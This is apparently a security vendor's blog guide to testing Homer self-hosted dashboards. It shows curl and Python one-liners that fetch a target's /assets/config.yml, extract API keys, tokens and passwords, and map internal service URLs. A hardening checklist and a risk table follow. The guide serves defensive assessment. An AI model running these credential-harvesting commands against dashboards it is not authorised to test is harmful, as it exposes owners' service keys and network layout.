Self-Hosted Dashboard Security

Homer Dashboard Security Testing: Config Exposure, Service Credentials, and YAML Secrets

📅 July 3, 2026 ⏱ 10 min read 🏷 Homer Dashboard, Dashboard Security, Config File Exposure, API Key Disclosure, YAML Secrets, Service Credential Harvesting

Homer is one of the most widely deployed self-hosted dashboards, providing a central hub linking to all other services in a home lab or small office environment. Its security concern is particularly acute because it serves as an aggregator: Homer's config.yml is served directly from the web root at /assets/config.yml without any access controls — this file contains the URL and often the API key or token for every service configured in the dashboard; Homer's service item configuration supports an apikey field for services like Sonarr, Radarr, Portainer, Grafana, and Home Assistant to display live status — these API keys are stored in config.yml in plaintext; Homer is a purely static web application with no server-side authentication mechanism — any authentication must be handled by a reverse proxy, and Homer deployments are frequently misconfigured to allow direct access bypassing the proxy; and because Homer links to every service in the environment, obtaining access to Homer's configuration reveals the full topology of internal services. This guide covers systematic Homer security assessment.

Config.yml Direct Exposure
Service Credential Extraction
Service Topology Mapping
Homer Security Hardening

Config.yml Direct Exposure

# Homer config.yml is served from web root — directly accessible without authentication
HOMER_URL="https://homer.example.com"

# Fetch the config.yml directly — contains all service URLs and any API keys
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | head -100

# Alternative path — some Homer deployments use a different assets path
curl -s "${HOMER_URL}/config.yml" 2>/dev/null | head -50

# Parse YAML for sensitive fields (requires PyYAML)
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | python3 -c "
import sys
try:
    import yaml
    config = yaml.safe_load(sys.stdin.read())
    services = config.get('services', [])
    print(f'Service groups: {len(services)}')
    for group in services:
        print(f'Group: {group.get(\"name\")}')
        for item in group.get('items', []):
            print(f'  {item.get(\"name\")} url={item.get(\"url\")}')
            # Look for sensitive configuration fields
            for field in ['apikey', 'token', 'api_key', 'password', 'secret']:
                if field in item:
                    print(f'    CREDENTIAL {field}: {item[field]}')
except ImportError:
    print('PyYAML not installed — pipe to a YAML parser manually')
" 2>/dev/null

Service Credential Extraction

# Homer config.yml — service items with API keys for status checking
# Example of what a credential-containing config.yml looks like:

# services:
#   - name: "Media"
#     items:
#       - name: "Sonarr"
#         url: "http://sonarr:8989"
#         apikey: "your-sonarr-api-key-here"
#         type: "Sonarr"
#       - name: "Radarr"
#         url: "http://radarr:7878"
#         apikey: "your-radarr-api-key-here"
#         type: "Radarr"
#       - name: "Portainer"
#         url: "http://portainer:9000"
#         token: "ptr_xxxxxx"
#       - name: "Home Assistant"
#         url: "http://homeassistant:8123"
#         apikey: "long-lived-access-token"

# Grep for API keys and tokens in the config
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | grep -iE '(apikey|token|api_key|password|secret):\s*["\x27]?[^"\x27\n]{8,}'

# Extract all URLs from config to map the full service topology
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | grep -oE 'url:\s*"?https?://[^"[:space:]]+'

Service Topology Mapping

# Homer config reveals internal service topology — all services and their internal addresses
HOMER_URL="https://homer.example.com"

# Map all internal hosts and ports from the config
curl -s "${HOMER_URL}/assets/config.yml" 2>/dev/null | python3 -c "
import sys, re
content = sys.stdin.read()
# Extract all URLs — reveals internal IP addresses, hostnames, and ports
urls = re.findall(r'url:\s*[\"'\'']?(https?://[^\s\"'\'']+)', content)
print(f'Internal services found: {len(urls)}')
seen = set()
for url in urls:
    if url not in seen:
        seen.add(url)
        print(f'  {url}')
" 2>/dev/null

Homer Security Hardening

Homer Security Hardening Checklist:

Do not store API keys in config.yml — Homer's apikey field is a convenience feature for service status checking, but it stores credentials in a file served to all browser clients; instead, use status checking services that support server-side proxying or run a separate status checking tool (Uptime Kuma) that does not expose its credentials to the browser
Restrict access to /assets/config.yml via your reverse proxy — add a location block to deny direct requests to /assets/config.yml, since the Homer application itself does not need to be accessible to external users and any credential content in the config represents unnecessary exposure
Protect Homer with reverse proxy authentication — Homer has no built-in authentication; add Basic Auth, OAuth2-Proxy, or Authelia in front of Homer to require authentication before the dashboard and its config.yml are accessible; do not rely on network-level access controls alone
Use separate credentials for API status checking — if you need live status checking in Homer, create read-only API keys specifically for Homer's status polling rather than using the same API keys used for full management access to Sonarr, Radarr, and other services
Audit config.yml for sensitive content before deployment — review the config.yml for any fields that contain credentials, tokens, or API keys; treat the file as a publicly readable configuration since Homer serves it from the web root without access controls by design

Security Test	Method	Risk
config.yml direct access exposing service credentials	GET /assets/config.yml — served from web root without authentication; file commonly contains apikey fields for Sonarr, Radarr, Portainer, Grafana, and Home Assistant long-lived access tokens	Critical
Service topology mapping via config	Parse URL fields from /assets/config.yml — reveals internal hostnames, IP addresses, and ports for every service in the environment enabling targeted discovery of additional attack surfaces	High
No built-in authentication mechanism	Direct access to Homer bypassing reverse proxy authentication — Homer has no server-side auth; if the reverse proxy is misconfigured or the container port is exposed directly, full access without credentials	High
Custom logo/icon file path disclosure	GET /assets/ directory listing — Homer may serve an assets directory with additional configuration files, custom icons, and background images that reveal organizational or infrastructure information	Low

Automate Homer Dashboard Security Testing

Ironimo tests Homer deployments for config.yml exposure from the web root revealing API keys and tokens for all integrated services, service topology mapping through URL extraction identifying internal service addresses and ports, authentication bypass when Homer is accessed without a reverse proxy authentication layer, and credential content extraction from apikey/token fields for Sonarr, Radarr, Portainer, Grafana, and Home Assistant.

Start free scan

Table of Contents

Config.yml Direct Exposure

Service Credential Extraction

Service Topology Mapping

Homer Security Hardening

Automate Homer Dashboard Security Testing